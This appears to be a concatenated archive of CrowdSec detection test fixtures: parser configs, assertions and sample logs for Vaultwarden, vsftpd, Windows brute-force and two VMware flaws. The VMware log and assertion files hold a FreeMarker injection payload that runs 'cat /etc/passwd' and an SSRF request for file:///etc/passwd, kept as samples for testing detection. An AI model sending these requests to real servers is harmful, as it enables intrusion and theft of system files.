results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Meta["log_type"] == "vaultwarden_failed_totp" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Meta["service"] == "vaultwarden" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Meta["source_ip"] == "2001:db8:48::82b:7a18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][21].Evt.Enriched["MarshaledTime"] == "2022-02-05T12:01:51.892Z" len(results["success"][""]) == 0hub1/.tests/vaultwarden-logs/scenario.assert000066400000000000000000000000001437532772500214660ustar00rootroot00000000000000hub1/.tests/vaultwarden-logs/vaultwarden-logs.log000066400000000000000000000062651437532772500224640ustar00rootroot00000000000000[2022-02-03 16:10:11.219][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com. [2022-02-03 16:10:15.993][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com. [2022-02-03 16:10:14.593][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com. [2022-02-03 16:10:30.702][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com. [2022-02-03 16:10:35.376][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com. [2022-02-03 16:10:36.810][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 2001:db8::b6d3:95d7:1425:766d. Username: test@example.com. [2021-02-03 16:10:59.955][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com. [2021-02-03 16:11:02.266][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com. [2021-02-03 16:11:04.117][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com. [2021-02-03 16:11:57.620][vaultwarden::api::identity][ERROR] Username or password is incorrect. Try again. IP: 192.0.2.130. Username: test@example.com. [2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19 [2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19 [2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19 [2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19 [2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19 [2022-02-05 11:55:04.725][vaultwarden::api::admin][ERROR] Invalid admin token. IP: 2001:db8:48::82b:7a19 [2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18 [2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18 [2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18 [2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18 [2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18 [2022-02-05 12:01:51.892][vaultwarden::api::core::two_factor::authenticator][ERROR] Invalid TOTP code! Server time: 2022-02-05 12:01:51 UTC IP: 2001:db8:48::82b:7a18hub1/.tests/vmware-cve-2022-22954/000077500000000000000000000000001437532772500162765ustar00rootroot00000000000000hub1/.tests/vmware-cve-2022-22954/config.yaml000066400000000000000000000004131437532772500204250ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/vmware-cve-2022-22954.yaml postoverflows: - "" log_file: vmware-cve-2022-22954.log log_type: nginx labels: {} ignore_parsers: true hub1/.tests/vmware-cve-2022-22954/parser.assert000066400000000000000000000000001437532772500210030ustar00rootroot00000000000000hub1/.tests/vmware-cve-2022-22954/scenario.assert000066400000000000000000000054551437532772500213350ustar00rootroot00000000000000len(results) == 2 "192.168.1.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.1.4"].IP == "192.168.1.4" results[0].Overflow.Sources["192.168.1.4"].Range == "" results[0].Overflow.Sources["192.168.1.4"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.1.4"].GetValue() == "192.168.1.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "vmware-cve-2022-22954.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "%2Fcatalog-portal%2Fui%2Foauth%2Fverify%3Ferror%3D%26deviceUdid%3D%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22cat%20%2Fetc%2Fpasswd%22%29%7D" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.4" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-04-12T08:13:56Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/vmware-cve-2022-22954" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "192.168.1.3" in results[1].Overflow.GetSources() results[1].Overflow.Sources["192.168.1.3"].IP == "192.168.1.3" results[1].Overflow.Sources["192.168.1.3"].Range == "" results[1].Overflow.Sources["192.168.1.3"].GetScope() == "Ip" results[1].Overflow.Sources["192.168.1.3"].GetValue() == "192.168.1.3" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "vmware-cve-2022-22954.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[1].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "curl/7.68.0" results[1].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.3" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-04-12T08:13:56Z" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/vmware-cve-2022-22954" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 1hub1/.tests/vmware-cve-2022-22954/vmware-cve-2022-22954.log000066400000000000000000000011041437532772500221170ustar00rootroot00000000000000192.168.1.3 - - [12/Apr/2022:08:13:56 +0000] "GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d HTTP/1.1" 404 162 "-" "curl/7.68.0" 192.168.1.4 - - [12/Apr/2022:08:13:56 +0000] "GET %2Fcatalog-portal%2Fui%2Foauth%2Fverify%3Ferror%3D%26deviceUdid%3D%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22cat%20%2Fetc%2Fpasswd%22%29%7D HTTP/1.1" 200 162 "-" "curl/7.68.0" hub1/.tests/vmware-vcenter-vmsa-2021-0027/000077500000000000000000000000001437532772500200355ustar00rootroot00000000000000hub1/.tests/vmware-vcenter-vmsa-2021-0027/config.yaml000066400000000000000000000004331437532772500221660ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/vmware-vcenter-vmsa-2021-0027.yaml postoverflows: - "" log_file: vmware-vcenter-vmsa-2021-0027.log log_type: nginx labels: {} ignore_parsers: true hub1/.tests/vmware-vcenter-vmsa-2021-0027/parser.assert000066400000000000000000000000001437532772500225420ustar00rootroot00000000000000hub1/.tests/vmware-vcenter-vmsa-2021-0027/scenario.assert000066400000000000000000000046521437532772500230720ustar00rootroot00000000000000len(results) == 2 "192.168.1.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.1.4"].IP == "192.168.1.4" results[0].Overflow.Sources["192.168.1.4"].Range == "" results[0].Overflow.Sources["192.168.1.4"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.1.4"].GetValue() == "192.168.1.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "vmware-vcenter-vmsa-2021-0027.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=https://10.1.1.1:3000" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "curl/7.68.0" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.4" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/vmware-vcenter-vmsa-2021-0027" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "192.168.1.3" in results[1].Overflow.GetSources() results[1].Overflow.Sources["192.168.1.3"].IP == "192.168.1.3" results[1].Overflow.Sources["192.168.1.3"].Range == "" results[1].Overflow.Sources["192.168.1.3"].GetScope() == "Ip" results[1].Overflow.Sources["192.168.1.3"].GetValue() == "192.168.1.3" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "vmware-vcenter-vmsa-2021-0027.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file:///etc/passwd" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "404" results[1].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "curl/7.68.0" results[1].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.3" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/vmware-vcenter-vmsa-2021-0027" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 1hub1/.tests/vmware-vcenter-vmsa-2021-0027/vmware-vcenter-vmsa-2021-0027.log000066400000000000000000000005071437532772500254230ustar00rootroot00000000000000192.168.1.3 - - [08/Dec/2021:18:08:04 +0100] "GET /ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=file:///etc/passwd HTTP/1.1" 404 162 "-" "curl/7.68.0" 192.168.1.4 - - [08/Dec/2021:18:08:04 +0100] "GET /ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=https://10.1.1.1:3000 HTTP/1.1" 200 162 "-" "curl/7.68.0" hub1/.tests/vsftpd-bf/000077500000000000000000000000001437532772500150475ustar00rootroot00000000000000hub1/.tests/vsftpd-bf/config.yaml000066400000000000000000000003311437532772500171750ustar00rootroot00000000000000parsers: - crowdsecurity/vsftpd-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/vsftpd-bf postoverflows: - "" log_file: vsftpd-bf.log log_type: vsftpd ignore_parsers: true hub1/.tests/vsftpd-bf/parser.assert000066400000000000000000000000001437532772500175540ustar00rootroot00000000000000hub1/.tests/vsftpd-bf/scenario.assert000066400000000000000000000060421437532772500200770ustar00rootroot00000000000000len(results) == 1 "93.24.101.89" in results[0].Overflow.GetSources() results[0].Overflow.Sources["93.24.101.89"].IP == "93.24.101.89" results[0].Overflow.Sources["93.24.101.89"].Range == "" results[0].Overflow.Sources["93.24.101.89"].GetScope() == "Ip" results[0].Overflow.Sources["93.24.101.89"].GetValue() == "93.24.101.89" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "vsftpd-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "ftp_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("program") == "vsftpd" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "93.24.101.89" results[0].Overflow.Alert.Events[0].GetMeta("user") == "user" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "vsftpd-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "ftp_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("program") == "vsftpd" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "93.24.101.89" results[0].Overflow.Alert.Events[1].GetMeta("user") == "user" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "vsftpd-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "ftp_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("program") == "vsftpd" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "93.24.101.89" results[0].Overflow.Alert.Events[2].GetMeta("user") == "user" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "vsftpd-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "ftp_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("program") == "vsftpd" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "93.24.101.89" results[0].Overflow.Alert.Events[3].GetMeta("user") == "user" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "vsftpd-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "ftp_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("program") == "vsftpd" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "93.24.101.89" results[0].Overflow.Alert.Events[4].GetMeta("user") == "user" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "vsftpd-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "ftp_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("program") == "vsftpd" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "93.24.101.89" results[0].Overflow.Alert.Events[5].GetMeta("user") == "user" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/vsftpd-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/vsftpd-bf/vsftpd-bf.log000066400000000000000000000007701437532772500174510ustar00rootroot00000000000000Mon Jun 8 12:08:53 2020 [pid 27244] [user] FAIL LOGIN: Client "::ffff:93.24.101.89" Mon Jun 8 12:08:53 2020 [pid 27244] [user] FAIL LOGIN: Client "::ffff:93.24.101.89" Mon Jun 8 12:08:54 2020 [pid 27244] [user] FAIL LOGIN: Client "::ffff:93.24.101.89" Mon Jun 8 12:08:54 2020 [pid 27244] [user] FAIL LOGIN: Client "::ffff:93.24.101.89" Mon Jun 8 12:08:55 2020 [pid 27244] [user] FAIL LOGIN: Client "::ffff:93.24.101.89" Mon Jun 8 12:08:55 2020 [pid 27244] [user] FAIL LOGIN: Client "::ffff:93.24.101.89" hub1/.tests/vsftpd-logs/000077500000000000000000000000001437532772500154245ustar00rootroot00000000000000hub1/.tests/vsftpd-logs/config.yaml000066400000000000000000000003071437532772500175550ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/vsftpd-logs scenarios: - "" postoverflows: - "" log_file: vsftpd-logs.log log_type: vsftpd ignore_parsers: false hub1/.tests/vsftpd-logs/parser.assert000066400000000000000000000060741437532772500201520ustar00rootroot00000000000000len(results["s01-parse"]["vsftpd-logs"]) == 5 results["s01-parse"]["vsftpd-logs"][0].Success == false results["s01-parse"]["vsftpd-logs"][1].Success == false results["s01-parse"]["vsftpd-logs"][2].Success == true results["s01-parse"]["vsftpd-logs"][2].Evt.Parsed["message"] == "Mon Jun 8 12:08:53 2020 [pid 27244] [user] FAIL LOGIN: Client \"::ffff:93.24.101.89\"" results["s01-parse"]["vsftpd-logs"][2].Evt.Parsed["program"] == "vsftpd" results["s01-parse"]["vsftpd-logs"][2].Evt.Parsed["source_ip"] == "93.24.101.89" results["s01-parse"]["vsftpd-logs"][2].Evt.Parsed["timestamp"] == "Mon Jun 8 12:08:53 2020" results["s01-parse"]["vsftpd-logs"][2].Evt.Parsed["user"] == "user" results["s01-parse"]["vsftpd-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["vsftpd-logs"][2].Evt.Meta["log_type"] == "ftp_failed_auth" results["s01-parse"]["vsftpd-logs"][2].Evt.Meta["program"] == "vsftpd" results["s01-parse"]["vsftpd-logs"][2].Evt.Meta["source_ip"] == "93.24.101.89" results["s01-parse"]["vsftpd-logs"][2].Evt.Meta["user"] == "user" results["s01-parse"]["vsftpd-logs"][2].Evt.Meta["datasource_path"] == "vsftpd-logs.log" results["s01-parse"]["vsftpd-logs"][3].Success == true results["s01-parse"]["vsftpd-logs"][3].Evt.Parsed["message"] == "Mon Jun 9 12:08:53 2020 [pid 27244] [user] FAIL LOGIN: Client \"::ffff:93.24.101.90\"" results["s01-parse"]["vsftpd-logs"][3].Evt.Parsed["program"] == "vsftpd" results["s01-parse"]["vsftpd-logs"][3].Evt.Parsed["source_ip"] == "93.24.101.90" results["s01-parse"]["vsftpd-logs"][3].Evt.Parsed["timestamp"] == "Mon Jun 9 12:08:53 2020" results["s01-parse"]["vsftpd-logs"][3].Evt.Parsed["user"] == "user" results["s01-parse"]["vsftpd-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["vsftpd-logs"][3].Evt.Meta["log_type"] == "ftp_failed_auth" results["s01-parse"]["vsftpd-logs"][3].Evt.Meta["program"] == "vsftpd" results["s01-parse"]["vsftpd-logs"][3].Evt.Meta["source_ip"] == "93.24.101.90" results["s01-parse"]["vsftpd-logs"][3].Evt.Meta["user"] == "user" results["s01-parse"]["vsftpd-logs"][3].Evt.Meta["datasource_path"] == "vsftpd-logs.log" results["s01-parse"]["vsftpd-logs"][4].Success == true results["s01-parse"]["vsftpd-logs"][4].Evt.Parsed["message"] == "Mon Apr 12 15:19:22 2021 [pid 15685] [www-data] FTP response: Client \"1.2.3.4\", \"530 Permission denied.\"" results["s01-parse"]["vsftpd-logs"][4].Evt.Parsed["program"] == "vsftpd" results["s01-parse"]["vsftpd-logs"][4].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["vsftpd-logs"][4].Evt.Parsed["timestamp"] == "Mon Apr 12 15:19:22 2021" results["s01-parse"]["vsftpd-logs"][4].Evt.Parsed["user"] == "www-data" results["s01-parse"]["vsftpd-logs"][4].Evt.Meta["datasource_path"] == "vsftpd-logs.log" results["s01-parse"]["vsftpd-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["vsftpd-logs"][4].Evt.Meta["log_type"] == "ftp_failed_auth" results["s01-parse"]["vsftpd-logs"][4].Evt.Meta["program"] == "vsftpd" results["s01-parse"]["vsftpd-logs"][4].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["vsftpd-logs"][4].Evt.Meta["user"] == "www-data" hub1/.tests/vsftpd-logs/scenario.assert000066400000000000000000000000001437532772500204400ustar00rootroot00000000000000hub1/.tests/vsftpd-logs/vsftpd-logs.log000066400000000000000000000006611437532772500204020ustar00rootroot00000000000000Mon Jun 8 12:08:44 2020 [pid 27245] CONNECT: Client "::ffff:93.24.101.89" Mon Jun 8 12:12:43 2020 [pid 27307] [ubuntu] OK LOGIN: Client "::ffff:93.24.101.89" Mon Jun 8 12:08:53 2020 [pid 27244] [user] FAIL LOGIN: Client "::ffff:93.24.101.89" Mon Jun 9 12:08:53 2020 [pid 27244] [user] FAIL LOGIN: Client "::ffff:93.24.101.90" Mon Apr 12 15:19:22 2021 [pid 15685] [www-data] FTP response: Client "1.2.3.4", "530 Permission denied." hub1/.tests/whitelists/000077500000000000000000000000001437532772500153535ustar00rootroot00000000000000hub1/.tests/whitelists/config.yaml000066400000000000000000000002701437532772500175030ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/sshd-logs - crowdsecurity/whitelists scenarios: - "" postoverflows: - "" collections: [] log_file: whitelists.log log_type: syslog hub1/.tests/whitelists/parser.assert000066400000000000000000000016121437532772500200720ustar00rootroot00000000000000results["s02-enrich"]["crowdsecurity/whitelists"][0].Success == true results["s02-enrich"]["crowdsecurity/whitelists"][0].Evt.Whitelisted == false results["s02-enrich"]["crowdsecurity/whitelists"][1].Success == true results["s02-enrich"]["crowdsecurity/whitelists"][1].Evt.Whitelisted == true results["s02-enrich"]["crowdsecurity/whitelists"][1].Evt.WhitelistReason == "private ipv4/ipv6 ip/ranges" results["s02-enrich"]["crowdsecurity/whitelists"][2].Success == true results["s02-enrich"]["crowdsecurity/whitelists"][2].Evt.Whitelisted == true results["s02-enrich"]["crowdsecurity/whitelists"][2].Evt.WhitelistReason == "private ipv4/ipv6 ip/ranges" results["s02-enrich"]["crowdsecurity/whitelists"][3].Success == true results["s02-enrich"]["crowdsecurity/whitelists"][3].Evt.Whitelisted == true results["s02-enrich"]["crowdsecurity/whitelists"][3].Evt.WhitelistReason == "private ipv4/ipv6 ip/ranges" hub1/.tests/whitelists/whitelists.log000066400000000000000000000005321437532772500202550ustar00rootroot00000000000000Feb 12 14:10:21 sd-126005 sshd[16378]: Invalid user pascal from 35.188.49.176 port 53502 Feb 12 14:10:21 sd-126005 sshd[16378]: Invalid user pascal from 127.0.0.1 port 53502 Feb 12 14:10:21 sd-126005 sshd[16378]: Invalid user pascal from 192.168.1.13 port 53502 Feb 12 14:10:21 sd-126005 sshd[16378]: Invalid user pascal from 10.0.0.1 port 53502 hub1/.tests/windows-bf/000077500000000000000000000000001437532772500152335ustar00rootroot00000000000000hub1/.tests/windows-bf/config.yaml000066400000000000000000000004611437532772500173650ustar00rootroot00000000000000parsers: - crowdsecurity/windows-logs - crowdsecurity/windows-auth - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/windows-bf postoverflows: - "" log_file: windows-bf.log log_type: wineventlog labels: {} ignore_parsers: true override_statics: - target: evt.Line.Module value: wineventlog hub1/.tests/windows-bf/parser.assert000066400000000000000000000000001437532772500177400ustar00rootroot00000000000000hub1/.tests/windows-bf/scenario.assert000066400000000000000000000064661437532772500202750ustar00rootroot00000000000000len(results) == 1 "192.168.9.212" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.9.212"].IP == "192.168.9.212" results[0].Overflow.Sources["192.168.9.212"].Range == "" results[0].Overflow.Sources["192.168.9.212"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.9.212"].GetValue() == "192.168.9.212" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "windows-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "wineventlog" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "windows_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-04-29T12:36:01.9027913Z" results[0].Overflow.Alert.Events[0].GetMeta("username") == "asdfasdf" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "windows-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "wineventlog" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "windows_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-04-29T12:36:02.2268806Z" results[0].Overflow.Alert.Events[1].GetMeta("username") == "asdfasdf" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "windows-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "wineventlog" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "windows_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-04-29T12:36:03.2268806Z" results[0].Overflow.Alert.Events[2].GetMeta("username") == "asdfasdf" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "windows-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "wineventlog" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "windows_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-04-29T12:36:04.2268806Z" results[0].Overflow.Alert.Events[3].GetMeta("username") == "asdfasdf" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "windows-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "wineventlog" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "windows_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-04-29T12:36:06.2268806Z" results[0].Overflow.Alert.Events[4].GetMeta("username") == "asdfasdf" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "windows-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "wineventlog" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "windows_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "192.168.9.212" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-04-29T12:36:07.2268806Z" results[0].Overflow.Alert.Events[5].GetMeta("username") == "asdfasdf" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/windows-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6hub1/.tests/windows-bf/windows-bf.log000066400000000000000000000223371437532772500200240ustar00rootroot00000000000000 4625 0 0 12544 0 0x8010000000000000 2559 Security exchange-1.mydomain.test S-1-0-0 - - 0x0 S-1-0-0 asdfasdf MYDOMAIN 0xc000006d %%2313 0xc0000064 3 NtLmSsp NTLM DESKTOP-7QD9TN3 - - 0 0x0 - 192.168.9.212 0 4625 0 0 12544 0 0x8010000000000000 2560 Security exchange-1.mydomain.test S-1-0-0 - - 0x0 S-1-0-0 asdfasdf MYDOMAIN 0xc000006d %%2313 0xc0000064 3 NtLmSsp NTLM DESKTOP-7QD9TN3 - - 0 0x0 - 192.168.9.212 0 4625 0 0 12544 0 0x8010000000000000 2561 Security exchange-1.mydomain.test S-1-0-0 - - 0x0 S-1-0-0 asdfasdf MYDOMAIN 0xc000006d %%2313 0xc0000064 3 NtLmSsp NTLM DESKTOP-7QD9TN3 - - 0 0x0 - 192.168.9.212 0 4625 0 0 12544 0 0x8010000000000000 2562 Security exchange-1.mydomain.test S-1-0-0 - - 0x0 S-1-0-0 asdfasdf MYDOMAIN 0xc000006d %%2313 0xc0000064 3 NtLmSsp NTLM DESKTOP-7QD9TN3 - - 0 0x0 - 192.168.9.212 0 4625 0 0 12544 0 0x8010000000000000 2563 Security exchange-1.mydomain.test S-1-0-0 - - 0x0 S-1-0-0 asdfasdf MYDOMAIN 0xc000006d %%2313 0xc0000064 3 NtLmSsp NTLM DESKTOP-7QD9TN3 - - 0 0x0 - 192.168.9.212 0 4625 0 0 12544 0 0x8010000000000000 2563 Security exchange-1.mydomain.test S-1-0-0 - - 0x0 S-1-0-0 asdfasdf MYDOMAIN 0xc000006d %%2313 0xc0000064 3 NtLmSsp NTLM DESKTOP-7QD9TN3 - - 0 0x0 - 192.168.9.212 0 hub1/.tests/windows-logs/000077500000000000000000000000001437532772500156105ustar00rootroot00000000000000hub1/.tests/windows-logs/config.yaml000066400000000000000000000004001437532772500177330ustar00rootroot00000000000000parsers: - crowdsecurity/windows-logs - 